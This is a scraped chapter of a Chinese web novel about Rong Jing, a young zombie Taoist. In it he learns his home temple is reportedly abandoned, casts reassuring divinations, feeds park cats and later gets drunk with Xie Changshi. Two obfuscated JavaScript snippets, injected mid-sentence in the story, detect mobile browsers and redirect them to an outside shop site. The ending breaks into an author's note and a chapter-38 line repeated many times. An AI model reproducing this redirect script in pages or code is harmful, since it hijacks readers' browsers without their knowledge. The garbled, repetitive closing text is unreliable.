他看看气急败坏的容镜,再看看面目愣色的薛苍,觉得好似被迎头泼了一盆狗血,索性也踹了小鬼一脚:“你把话讲清楚点,哪个玄天观啊?华国这么大,有同名同姓的道观也不是没可能。 小鬼像是也看明白了点什么,连忙瑟缩了下脑袋,赶紧解释:“我说的玄天观在樊省的盈自山,本是个破破烂烂的道观,空荡荡的,很久没有人居住了。 池白和阿秋注意到小鬼每说一句,容镜的表情就难看几分。 可小鬼没注意到,还在绞尽脑汁将自己知晓的信息说出口以求保命:“韩裕的师门抵达盈自山以后,掌门认为那地方得天独厚,是个好地方,便带着一干弟子占据了道观,并延用了‘玄天观’的名称。还说什么,玄天二字取得妙,定能保佑他们师门发扬光大。 嘭! 巨大的声音传来,池白、阿秋、薛苍同时扭头,就见容镜面前的小桌子在他的手掌下轰得一声碎成了齑粉。 池白:“…… 阿秋:“…… 薛苍:“…… 推门而来的护士:“…… 这次真有声音,她绝对没听错。 池白再三保证一定会将损坏的物品原价赔偿以后,终于送走了护士姐姐。他关上门,回头看那坨粉,再看容镜的手,可以确定容镜在动手时候身上绝对没有贴符纸。 也就是,他天生就这么大力气。 这也太猛了。 见过能把桌子拍折的,没见过能拍成粉的。 他支使阿秋去找个扫帚将齑粉清理干净,继而问容镜:“那盈自山的玄天观就是你的师门? 容镜耷拉着眉眼,嗯了一声。 听他肯定的回复,池白却敏锐地意识到了前后矛盾之处。 小鬼说原本的玄天观已经无人居住,但容镜好像并不是那么认为的,在此之前他还特别强调了他们玄天观从人到老鼠都是好的。 他皱了皱眉问:“你们师门搬家了? 容镜:“……不知道。 池白:“? 要是小僵尸长尾巴,此刻容镜的尾巴一定拖在地上,他垂着眉眼,睫毛微微颤抖,很久才听到他被压低的嗓音传进耳朵:“我很早就离开了盈自山,和盈自山没有联系。 他有些烦躁地抓了抓头发,心头像是被无数丝线缠得乱七八糟。浅浅呼出一口气,看向面前的三人,拎起自己的背包,低声道:“我想先回家了。 池白和阿秋对视一眼,前者不太会安慰人,眼见着容镜都走到了门口才憋出一句:“要不要我们送你回去? 容镜摇头:“你们先聊一聊流云观的事吧。 他的背影逐渐消失在病房内的三人视线中,池白收回目光,若有所思地说了句:“小朋友好像受刺激了。 … 容镜没有喊司机来接,也没有打车,就这么慢吞吞地背着包沿着马路一直走。 他的脑海里中都是小鬼的那一句“玄天观在樊省的盈自山,本是个破破烂烂的道观,空荡荡的,很久没有人居住了,怎么会无人居住? 他和太虚爷爷离开道观时,道观明明一切都好,走得时候大家都很舍不得,一个个擦着眼泪哄他说:“小镜子千万别太想我们哦,在外面想吃什么就跟你太虚爷爷要钱,你太虚爷爷富得很,你别给他省钱。等你们要回来了,提前来个信,师叔们给你做大餐欢迎你回家。 容镜揉了揉眼睛,深吸一口气,抬头看了看周围。 他也不知道自己刚刚往哪儿走了,但好像走到了一个公园的门口,他挑了个空的长椅坐下,搬出了包里的龟壳和铜钱。 容镜想到自己从棺材里醒来时算的有关太虚爷爷的那一卦,卦象显示时机未到,还要他韬光养晦。 那么其他人呢? 容镜一次次晃动龟壳,一次次查看卦象。 令人感到惊诧的是,容镜卜了整整八次卦,每次的卦象都是一样的: 离在上,兑在下,离为火,兑为泽,六五爻辞。 这个卦象的意思是,只要所有人齐心协力,就能够克服任何困难,转危为安。 容镜盯着卦象看了半天,觉得怦怦乱跳的心脏好似被安抚好了,一下一下 回到了原有的轨道。 卦象小吉,玄天观的大家向来就是一家人,齐心协力于他们而言不是什么困难的事,所以他们肯定不会有事。 容镜相信祖师爷不会骗他的。 他弯腰将兆龟和铜钱小心翼翼地放好,直起身体时身后有阵很温柔的风扫了扫他的脸颊,他像是有所察觉似的抬头看了看天,大片大片的玉兰花瓣从头顶的树上飘了下来,他兜了一身的花瓣。 容镜打了个喷嚏,嘀咕了一句:“好香。 但还是感谢祖师爷的安慰,将花瓣从衣服上摘下来塞进了背包里。 他拿出手机给谢长时打了电话,谢长时让他待在原地别动,等着他来接人。容镜哦了一声,又拖长声音问:“谢长时你过来的路上经不经过甜品店呀?我想吃蛋糕。 谢长时低头看了眼手机,尽管容镜在电话内的声音、情绪起伏听着似乎与往常无异,但他还是敏锐地察觉到了不对劲,于是便刻意放轻了语调:“经过,还经过奶茶店,想不想喝奶茶? 容镜的眼睛微微一亮:“那我要喝两杯,一杯奶茶一杯果茶,要多加珍珠。 “好,你别走远,我马上过来。 容镜嗯嗯应声。 电话被挂断,谢长时推开椅子,拎起西装外套便往外走。推门而出的时候正巧碰上迈步而来的陆云霁,看着男人步履匆匆的模样,陆云霁眉梢微扬:“你干嘛去?这才几点就早退啊? “接容镜。谢长时从他身旁而过,走进电梯。 “正好,这玩意你拿去给容镜。陆云霁抬起了手,谢长时这才发现他的手里拎着一个模样看上去十分高端的口袋。 “什么东西? “章成安上次不是鸽了我嘛,他老婆从国外出差带回来的巧克力,说是给我赔罪的。陆云霁将口袋塞到谢长时手里,“甜腻腻的,我不爱吃,你给容镜吃呗,他肯定喜欢。 谢长时没拒绝,垂眸将口袋抚平,对陆云霁颔首,说了声:“谢谢。 真客气。 陆云霁一手插兜,一手挥挥,拐进了隔壁的秘书办光明正大地聊天喝茶去了。 … 等谢长时来接的这段时间着实有些无聊,容镜往公园探了探头,恰巧路过一个路人说了句“免费的,于是容镜毫不犹豫地起身去里头转了一圈,走得有点累了就找了个椅子坐下,没一会儿便有一些流浪猫悄摸摸地靠近,贴在他的脚边,喵喵喵地叫。 容镜顺手摸了两把。 “你光摸它们不 给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338345|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的可不行,它们会缠着你不放的。声音从容镜的头顶响起,他下意识抬头,看到了一张年轻的脸。 青年看上去二十来岁,染着一头漂亮的粉色短发,钻石耳钉在日光下闪烁着耀眼的光。 啪嗒一声。 青年在容镜的身边坐下,弯腰抱起一只蹭他腿的橘猫,又十分熟练地从上衣口袋里掏出两根猫条,将一根分给了容镜,另一根由自己拆开,哄着橘猫吃。 容镜看小猫吧嗒吧嗒舔猫条吃,也来了兴趣,不由得好奇地问:“你经常来这里给它们喂吃的吗? 青年懒洋洋地嗯了一声。 容镜夸夸他:“你人真好。 青年没想到会突然听到这么一句,握着猫条的手微微一顿,多看了少年那张白皙漂亮的脸蛋一眼。容镜已经完全沉浸在喂养猫猫的快乐之中,一双眼睛跟装满了星星一样,好像会发光。 他笑了一下,又很快收敛笑意,半晌才用颇为随意的语气说了句:“不是人好,只是发现我们同病相怜,所以难得起了善心而已。 “那就是人好,有善心的人都好。 容镜一边说,一边掏出湿纸巾给自己和青年擦一擦沾上猫条腥味的手指。 他显然还想跟青年说些什么,但谢长时来了电话,容镜便将腿上的白猫也放到了青年的腿上,笑盈盈地道:“我家里人来接我了,我先走啦,下次再见。 青年托着下巴朝他挥手,心头却漫无边际地想,路上随便遇到的人,也能下次再见吗? 容镜背着包跑出公园大门时便瞧见了那辆停在一旁的黑色库里南,以及站在库里南旁望过来的男人。他不管不顾地冲过去,一头撞进谢长时的怀里,然后抬起乌黑的眼睛,说了句:“我闻到香味了。 谢长时不动声色地观察他的模样,笑了一声:“你是小狗吗?鼻子那么灵? “我不是小狗我是小僵尸。容镜将身上的包塞到他怀里,迫不及待地上了车。到了车内,那股属于蛋糕的香甜气息便愈发的浓郁,勾得容镜浑身的馋虫都爬出来了。 谢长时将包放到一旁,从车座取来小巧的蛋糕放到他面前:“芒果慕斯没有了,不过甜品店出了新品,老板娘说你肯定会喜欢,你尝尝。 打开蛋糕盒,容镜挖了一大勺,第一口却并没有给自己,反倒递到了谢长时的面前。 男人垂眸看了看柔软的奶油,沉寂几秒后,到底还是低头含住了勺子。 容镜好奇地问他:“好吃吗? 这家的奶油并 不甜腻,吃一口也不算勉强,因此谢长时难得说出了一句“味道还不错”,引得容镜眉眼弯弯。 三两口干掉一个小蛋糕,少年咬着吸管才对谢长时说起了今日发生在医院的所有事情。 他道:“本来我是很害怕,但算了卦,卦象还可以,就没那么担心了。” 当年谢长时在亭阳捡到容镜以后,也和太虚老道见过几次面。对方第一次见着他,掐了两下手指便嘀咕了一句“真有缘分”,随后便任由容镜与他来往。后续太虚老道偶尔出现,也会在饭桌上提及玄天观的几位老道。 字里行间能听得出来,玄天观的众人个个都有真本事,绝对不是一般人。 谢长时心想也是,一般人可不会往道观里养只小僵尸。 他伸手轻轻摸了摸少年的头,安抚道:“确实不必担心,你的师长们各有神技,规避风险对他们来说轻而易举。” 容镜虽总被太虚老道夸赞天赋绝佳,但到底年纪尚小,论经验论道行,肯定还是那几个年长的老家伙强。 他都能算出来的卦象,老道们肯定也不在话下。 容镜心想确实是这么一回事,便乖乖地点头:“等祖师爷觉得时间到了,我就去找他们。” “嗯,我跟你一块去。” “谢长时你人真好。”容镜颇为感动地发了一张好人卡。 谢长时轻叹一声。 认识十三年,相处一年,也不知道收到多少张好人卡了。 … 回到云江湾已经是下午两点,容镜盘腿坐在沙发上拆陆云霁送的巧克力。 巧克力被做成了很多可爱的动物形状,有兔子、猫咪、小狗等等。容镜嘎嘣一口咬掉了小兔子的脑袋,巧克力的醇香瞬间弥漫整个口腔,他享受地眯了眯眼睛。 真好吃。 啪啪啪,啪啪啪。 浴室的门被粗暴敲响,谢长时偏过头,花洒中喷涌而出的水流沿着他的发梢淌入地砖,他抬手按下了开关,扯过浴巾擦干身上的水珠,又随意套了件浴袍,才推开门。 嘭。 黑影毫无征兆地砸入怀中。 猝不及防的一下令男人不由得垂眸,结果一眼对上了双朦朦胧胧夹杂着几分水意的眼眸。 容镜双手环着谢长时的腰,贴过去嗅一嗅,小声喃喃:“谢长时,你身上好香啊。” 谢长时长眉微挑,手指抬起少年的下巴,再看两眼,给出肯定的反问:“你偷偷喝酒了?” “我们小僵尸不喝酒,喝石榴汁。” ——他还记得当初在烧烤摊上,谢长时的话。 谢长时难得见他将自己的话记得这么牢,薄唇刚勾起,却发现容镜似乎觉得抬着脑袋的姿势不舒服,挣扎了两下便轻易将下巴从他的掌心中挪开了。 随后,容镜再度贴上来,脸颊蹭蹭丝绸质感的睡袍,轻易便将睡袍的领口给扯开大半,然后,吧嗒一口,咬在了他的锁骨上。 好一个石榴汁。 谢长时轻轻地嘶了一声,拎着人的后衣领将人拉开,然而容镜死活不愿意,扑腾两下啪嗒又撞上去。 带着酒后炙热的唇贴上锁骨,他下意识伸出舌尖舔了舔。 刹那间,箍着容镜腰肢的手收紧,谢长时垂眸遮住了眼底的幽沉,他闭了闭眼睛,气息有些不稳地喊了一句:“容镜。” 容镜抬起湿漉漉的眼,有点委屈又有点可怜:“你好凶。” 谢长时:“……” 被一只醉酒的小僵尸占了便宜,还要被指责一句“你好凶”。 谢长时气笑了,吓唬他:“我不止凶,我还喜欢吃僵尸,尤其是你这种年纪不大长得还好看的小僵尸。” 作者有话要说 50个随机小红包! 第 38 章 就是你俩来天地通... 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404426|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。 第38章就是你俩来天地通. 038. 吴明亮跌坐到椅子上,脸上失去了所有的血色。